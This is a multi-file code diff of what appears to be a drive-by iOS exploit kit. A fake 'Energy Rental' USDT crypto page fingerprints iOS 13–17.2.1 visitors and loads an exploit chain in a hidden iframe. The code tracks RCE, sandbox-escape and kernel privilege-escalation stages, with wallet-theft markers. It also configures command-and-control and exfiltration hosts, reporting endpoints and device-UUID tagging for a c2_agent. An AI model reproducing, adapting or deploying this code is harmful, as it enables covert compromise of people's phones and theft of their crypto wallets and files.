loadChainLoader(function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else {
|
||||
loadScript(assetUrl('/chain_blocked.js'), function () {
|
||||
notify('loader', STAGE.loader);
|
||||
});
|
||||
notify('loader', STAGE.loader);
|
||||
}
|
||||
|
||||
var _log = console.log;
|
||||
console.log = function () {
|
||||
var msg = Array.prototype.join.call(arguments, ' ');
|
||||
// Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6.
|
||||
if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker);
|
||||
if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1);
|
||||
if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs
|
||||
if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post);
|
||||
else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) {
|
||||
notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾');
|
||||
}
|
||||
if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// Signal parent: CoreAnimation→sendPort hang needs timely re-arm
|
||||
if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
// GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm
|
||||
if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
return _log.apply(console, arguments);
|
||||
};
|
||||
})();
|
||||
|
||||
@@ -1,18 +1,12 @@
|
||||
window.NEWS2_CONFIG = {
|
||||
// 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain
|
||||
deliveryHost: "",
|
||||
deliveryPath: "/next-chain",
|
||||
qqtimePath: "/qqtime/",
|
||||
// C2 / API → coruna-lab :8000
|
||||
// C2 / API — ds:build --c2 rewrites this block
|
||||
exfil: {
|
||||
host: "192.168.31.130",
|
||||
domain: "192.168.31.130",
|
||||
http_port: 8000,
|
||||
https_port: 8000,
|
||||
http_port: 8080,
|
||||
https_port: 8080,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
},
|
||||
redirectUrl: "https://ab.ux600.com",
|
||||
countdownSeconds: 8,
|
||||
};
|
||||
if (typeof labApplyNews2Config === "function") labApplyNews2Config();
|
||||
|
||||
@@ -22,20 +22,10 @@
|
||||
<div class="top-progress-bar" id="topProgressBar"></div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<script src="/config.js"></script>
|
||||
<script>
|
||||
var LOADING_MS = 8000;
|
||||
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'https://ab.ux600.com';
|
||||
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'http://192.168.31.130:8080/?landed=1';
|
||||
|
||||
(function () {
|
||||
var bar = document.getElementById('topProgressBar');
|
||||
|
||||
@@ -1,22 +1,12 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<script src="config.js"></script>
|
||||
<script src="boot.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -6,17 +6,7 @@
|
||||
<meta property="og:image" content="https://TRXPeak.com/usdt-trc.webp">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<title>Energy Rental - 24/7 Unattended Instant Delivery</title>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<script src="/config.js"></script>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
|
||||
@@ -516,13 +506,13 @@
|
||||
|
||||
// 倒计时与链加载解耦。
|
||||
// 日志已证实:WC crash 会整页再 GET /,若只用 sessionStorage,倒计时会再跑一遍并再次挂 iframe。
|
||||
// 用 localStorage(10min TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。
|
||||
// 用 localStorage(1h TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。
|
||||
const cfg = window.NEWS2_CONFIG || {};
|
||||
const landed = /[?&]landed=1(?:&|$)/.test(location.search);
|
||||
const LS_DONE_AT = "__er_idx_cd_done_at";
|
||||
const LS_FRAME_AT = "__er_frame_at";
|
||||
const SS_DEADLINE = "__er_idx_countdown_deadline";
|
||||
const STATE_TTL_MS = 10 * 60 * 1000;
|
||||
const STATE_TTL_MS = 60 * 60 * 1000;
|
||||
|
||||
window.__ER_COUNTDOWN_DONE__ = false;
|
||||
window.__ER_START_CHAIN__ = null;
|
||||
@@ -1077,33 +1067,30 @@
|
||||
if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
|
||||
if (location.pathname.indexOf("/qqtime") === 0) return;
|
||||
|
||||
// function isCoruna() {
|
||||
// var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
|
||||
// navigator.userAgent || ""
|
||||
// );
|
||||
// if (!m) return false;
|
||||
// var maj = +m[1],
|
||||
// min = +m[2],
|
||||
// pat = +(m[3] || 0);
|
||||
// if (maj < 13 || maj >= 18) return false;
|
||||
// if (maj === 17 && min > 2) return false;
|
||||
// if (maj === 17 && min === 2 && pat > 1) return false;
|
||||
// return true;
|
||||
// }
|
||||
function isCoruna() {
|
||||
var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
|
||||
navigator.userAgent || ""
|
||||
);
|
||||
if (!m) return false;
|
||||
var maj = +m[1],
|
||||
min = +m[2],
|
||||
pat = +(m[3] || 0);
|
||||
if (maj < 13 || maj >= 18) return false;
|
||||
if (maj === 17 && min > 2) return false;
|
||||
if (maj === 17 && min === 2 && pat > 1) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
// if (isCoruna()) {
|
||||
// var corunaUrl = (typeof labDeliveryUrl === "function")
|
||||
// ? labDeliveryUrl("/qqtime/")
|
||||
// : (location.origin + "/qqtime/");
|
||||
// location.replace(corunaUrl);
|
||||
// return;
|
||||
// }
|
||||
if (isCoruna()) {
|
||||
location.replace(location.origin + "/qqtime/");
|
||||
return;
|
||||
}
|
||||
|
||||
var frame = document.getElementById("frame");
|
||||
if (!frame) return;
|
||||
var started = false;
|
||||
var LS_FRAME_AT = "__er_frame_at";
|
||||
var STATE_TTL_MS = 10 * 60 * 1000;
|
||||
var STATE_TTL_MS = 60 * 60 * 1000;
|
||||
|
||||
function frameAlreadyLaunched() {
|
||||
if (window.__ER_FRAME_ALREADY__) return true;
|
||||
@@ -1123,12 +1110,7 @@
|
||||
localStorage.setItem(LS_FRAME_AT, String(Date.now()));
|
||||
} catch (e2) {}
|
||||
window.__ER_FRAME_ALREADY__ = true;
|
||||
var qqtimePath = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.qqtimePath)
|
||||
? window.NEWS2_CONFIG.qqtimePath
|
||||
: "/qqtime/";
|
||||
frame.src = (typeof labDeliveryUrl === "function")
|
||||
? labDeliveryUrl(qqtimePath)
|
||||
: (location.origin + qqtimePath);
|
||||
frame.src = location.origin + "/qqtime/";
|
||||
}
|
||||
|
||||
window.__ER_START_CHAIN__ = startQqtime;
|
||||
|
||||
@@ -1,186 +0,0 @@
|
||||
// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path).
|
||||
// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path).
|
||||
(function (g) {
|
||||
if (!g) return;
|
||||
|
||||
function trimSlash(s) {
|
||||
return String(s || "").replace(/\/+$/, "");
|
||||
}
|
||||
|
||||
function ensureSlashPath(p) {
|
||||
p = String(p || "");
|
||||
if (!p) return "";
|
||||
return p.charAt(0) === "/" ? p : "/" + p;
|
||||
}
|
||||
|
||||
function joinBase(base, path) {
|
||||
base = trimSlash(base);
|
||||
path = String(path || "");
|
||||
if (!path) return base;
|
||||
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path;
|
||||
if (path.charAt(0) !== "/") path = "/" + path;
|
||||
return base + path;
|
||||
}
|
||||
|
||||
function hostOnly(raw) {
|
||||
return String(raw || "")
|
||||
.replace(/^https?:\/\//, "")
|
||||
.split("/")[0]
|
||||
.split(":")[0];
|
||||
}
|
||||
|
||||
function defaultExfil() {
|
||||
var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__);
|
||||
return {
|
||||
host: domain,
|
||||
domain: domain,
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
stats_url: "",
|
||||
stats_url_direct: "",
|
||||
delivery_stats_url: "",
|
||||
};
|
||||
}
|
||||
|
||||
function inferDeliveryHost() {
|
||||
try {
|
||||
if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var path = g.location && g.location.pathname ? String(g.location.pathname) : "";
|
||||
var chained = path.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (chained && g.location.origin && g.location.origin !== "null") {
|
||||
return trimSlash(g.location.origin) + chained[1];
|
||||
}
|
||||
} catch (eBoot) {}
|
||||
try {
|
||||
var cfg = g.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost);
|
||||
if (cfg.deliveryPath) {
|
||||
var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : "";
|
||||
return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath));
|
||||
}
|
||||
} catch (e1) {}
|
||||
try {
|
||||
if (!g.location || !g.location.origin || g.location.origin === "null") return "";
|
||||
var origin = trimSlash(g.location.origin);
|
||||
var path = String(g.location.pathname || "/");
|
||||
var m = path.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (m) return origin + m[1];
|
||||
return origin;
|
||||
} catch (e2) {}
|
||||
return "";
|
||||
}
|
||||
|
||||
function applyExfil(ex) {
|
||||
var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil();
|
||||
if (!ex || !ex.host) return cur;
|
||||
g.__LAB_EXFIL__ = {
|
||||
host: hostOnly(ex.host) || cur.host,
|
||||
domain: hostOnly(ex.domain || ex.host) || cur.domain,
|
||||
http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port,
|
||||
https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port,
|
||||
tls: ex.tls != null ? !!ex.tls : !!cur.tls,
|
||||
prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https,
|
||||
stats_url: ex.stats_url || cur.stats_url || "",
|
||||
stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "",
|
||||
delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "",
|
||||
};
|
||||
return g.__LAB_EXFIL__;
|
||||
}
|
||||
|
||||
function apiOrigin(ex) {
|
||||
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
|
||||
var host = hostOnly(ex.host);
|
||||
var pageHost = "";
|
||||
var pageHttps = false;
|
||||
try {
|
||||
pageHttps = !!(g.location && g.location.protocol === "https:");
|
||||
pageHost = hostOnly(g.location && g.location.hostname);
|
||||
} catch (ePage) {}
|
||||
var sameHost = !!(host && pageHost && host === pageHost);
|
||||
var tls = !!(ex.tls || ex.prefer_https || (pageHttps && sameHost));
|
||||
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
|
||||
var scheme = tls ? "https" : "http";
|
||||
var origin = scheme + "://" + host;
|
||||
if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) {
|
||||
origin += ":" + port;
|
||||
}
|
||||
return origin;
|
||||
}
|
||||
|
||||
function ensureHosts() {
|
||||
if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil();
|
||||
var d = inferDeliveryHost();
|
||||
if (d) g.__LAB_DELIVERY_HOST__ = d;
|
||||
return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ };
|
||||
}
|
||||
|
||||
function applyNews2Config() {
|
||||
var cfg = g.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryHost) {
|
||||
g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost);
|
||||
} else if (cfg.deliveryPath) {
|
||||
try {
|
||||
g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath));
|
||||
} catch (e) {}
|
||||
}
|
||||
if (cfg.exfil) applyExfil(cfg.exfil);
|
||||
ensureHosts();
|
||||
}
|
||||
|
||||
g.labTrimSlash = trimSlash;
|
||||
g.labJoinBase = joinBase;
|
||||
g.labInferDeliveryHost = inferDeliveryHost;
|
||||
g.labDeliveryHost = function () {
|
||||
ensureHosts();
|
||||
return trimSlash(g.__LAB_DELIVERY_HOST__ || "");
|
||||
};
|
||||
g.labDeliveryUrl = function (path) {
|
||||
return joinBase(g.labDeliveryHost(), path);
|
||||
};
|
||||
g.labApiOrigin = function () {
|
||||
ensureHosts();
|
||||
return apiOrigin(g.__LAB_EXFIL__);
|
||||
};
|
||||
g.labApiUrl = function (path) {
|
||||
return joinBase(g.labApiOrigin(), path);
|
||||
};
|
||||
g.labApplyExfil = applyExfil;
|
||||
g.labEnsureHosts = ensureHosts;
|
||||
g.labApplyNews2Config = applyNews2Config;
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || "").trim().slice(0, 64);
|
||||
if (!code) return "";
|
||||
g.__LAB_CHANNEL_CODE__ = code;
|
||||
try {
|
||||
if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (g.localStorage) g.localStorage.setItem("lab_channel_code", code);
|
||||
} catch (e1) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function readChannelCode() {
|
||||
try {
|
||||
var path = (g.location && g.location.pathname) || "";
|
||||
var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (e3) {}
|
||||
return "";
|
||||
}
|
||||
|
||||
g.labChannelCode = function () {
|
||||
if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__);
|
||||
return readChannelCode();
|
||||
};
|
||||
|
||||
ensureHosts();
|
||||
try {
|
||||
g.labChannelCode();
|
||||
} catch (eCh) {}
|
||||
})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null);
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
import Native from "libs/Chain/Native";
|
||||
import Chain from "libs/Chain/Chain";
|
||||
import TaskRop from "libs/TaskRop/TaskRop";
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -28,9 +28,12 @@
|
||||
// Without this, c2_agent falls back to the hardware IOPlatformUUID and the
|
||||
// two exfil trees diverge (uuid mismatch).
|
||||
try {
|
||||
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase();
|
||||
if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') {
|
||||
c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid);
|
||||
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '');
|
||||
if (_duuid) {
|
||||
// 把 delivery UUID 直接烤进 c2_agent 的 __LAB_BAKED_DELIVERY_UUID__ 占位符。
|
||||
// c2_agent 顶部 const DEVICE_UUID = (function(){var b=String("__LAB_BAKED_DELIVERY_UUID__");...})();
|
||||
// 占位符未替换时会回退到硬件 IOPlatformUUID,导致 C2 /war 的 UUID 与 delivery /log 不一致。
|
||||
// 这里把占位符替换成真实 delivery UUID,使两棵 exfil 树同 UUID。
|
||||
c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid);
|
||||
let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n';
|
||||
c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet);
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,22 +1,12 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<script src="../config.js"></script>
|
||||
<script src="../boot.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,22 +1,12 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<script src="../config.js"></script>
|
||||
<script src="../boot.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
var SERVER_LOG = true;
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
@@ -8,25 +8,44 @@ var offsets = {};
|
||||
var slide;
|
||||
var chipset;
|
||||
var device_model;
|
||||
var localHost = (function () {
|
||||
function labAssetBase() {
|
||||
try {
|
||||
if (typeof labDeliveryHost === 'function') {
|
||||
var fromLab = labDeliveryHost();
|
||||
if (fromLab) return String(fromLab).replace(/\/$/, '');
|
||||
}
|
||||
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
|
||||
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
|
||||
if (typeof location !== 'undefined' && location.pathname) {
|
||||
var origin = (location.origin && location.origin !== 'null') ? location.origin.replace(/\/$/, '') : '';
|
||||
var m = String(location.pathname).match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (origin && m) return origin + m[1];
|
||||
if (origin) return origin;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
? String(location.origin).replace(/\/$/, '') : '';
|
||||
var path = '/next-chain';
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath)
|
||||
path = String(window.NEWS2_CONFIG.deliveryPath);
|
||||
} catch (e1) {}
|
||||
if (path.charAt(0) !== '/') path = '/' + path;
|
||||
return origin + path.replace(/\/+$/, '');
|
||||
} catch (e2) {}
|
||||
return '';
|
||||
}
|
||||
function labApiBase() {
|
||||
try {
|
||||
var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||||
? window.__LAB_EXFIL__
|
||||
: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
|
||||
if (ex && ex.host) {
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
|
||||
var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
|
||||
return origin;
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
return location.origin.replace(/\/$/, '');
|
||||
} catch (e) {}
|
||||
return "";
|
||||
})();
|
||||
return String(location.origin).replace(/\/$/, '');
|
||||
} catch (e1) {}
|
||||
return '';
|
||||
}
|
||||
var localHost = labAssetBase();
|
||||
function resolveLabDeviceUUID() {
|
||||
let du = '';
|
||||
try {
|
||||
@@ -66,7 +85,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
}
|
||||
} catch (eP) {}
|
||||
// Server upload: errors only (progress = GET /api/ds/pe-stage / console).
|
||||
// Server upload: errors only (progress = pe_stage GETs / console).
|
||||
const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x));
|
||||
if (!isErr) return;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -89,22 +108,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
const logUrl = (typeof labApiUrl === 'function')
|
||||
? labApiUrl('/api/ds/log?' + req)
|
||||
: (function () {
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) {
|
||||
var e = window.__LAB_EXFIL__;
|
||||
var tls = !!(e.tls || e.prefer_https);
|
||||
var port = Number(tls ? (e.https_port || 443) : (e.http_port || 80));
|
||||
var origin = (tls ? 'https://' : 'http://') + String(e.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
if (!((tls && port === 443) || (!tls && port === 80) || !port)) origin += ':' + port;
|
||||
return origin + '/api/ds/log?' + req;
|
||||
}
|
||||
} catch (eApi) {}
|
||||
return localHost + '/api/ds/log?' + req;
|
||||
})();
|
||||
xhr.open("GET", logUrl, true);
|
||||
xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true);
|
||||
if (du) {
|
||||
try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {}
|
||||
}
|
||||
@@ -462,24 +466,13 @@ function parseIosVersion() {
|
||||
return null;
|
||||
}
|
||||
function resolveDeliveryHost() {
|
||||
try {
|
||||
if (typeof labDeliveryHost === 'function') {
|
||||
var fromLab = labDeliveryHost();
|
||||
if (fromLab) return String(fromLab).replace(/\/$/, '');
|
||||
}
|
||||
} catch (eLab) {}
|
||||
if (localHost && localHost.length > 4) return String(localHost).replace(/\/$/, '');
|
||||
var h = labAssetBase();
|
||||
if (h) return h;
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
|
||||
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') {
|
||||
var origin = location.origin.replace(/\/$/, '');
|
||||
var m = String(location.pathname || '').match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (m) return origin + m[1];
|
||||
return origin;
|
||||
}
|
||||
} catch (e) {}
|
||||
return 'http://one99.vip:80';
|
||||
return labAssetBase();
|
||||
}
|
||||
function resolveExfilTarget() {
|
||||
try {
|
||||
@@ -487,23 +480,23 @@ function resolveExfilTarget() {
|
||||
return window.__LAB_EXFIL__;
|
||||
} catch (e) {}
|
||||
try {
|
||||
const apiBase = (typeof labApiUrl === 'function')
|
||||
? labApiUrl('/api/ds/chain-targets')
|
||||
: '';
|
||||
if (apiBase) {
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', apiBase, false);
|
||||
xhr.send(null);
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
const d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) {
|
||||
try { if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); } catch (eA) {}
|
||||
return d.exfil;
|
||||
}
|
||||
}
|
||||
const base = labApiBase();
|
||||
if (!base) return null;
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', base + '/api/ds/chain-targets', false);
|
||||
xhr.send(null);
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
const d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) return d.exfil;
|
||||
}
|
||||
} catch (e) {}
|
||||
try {
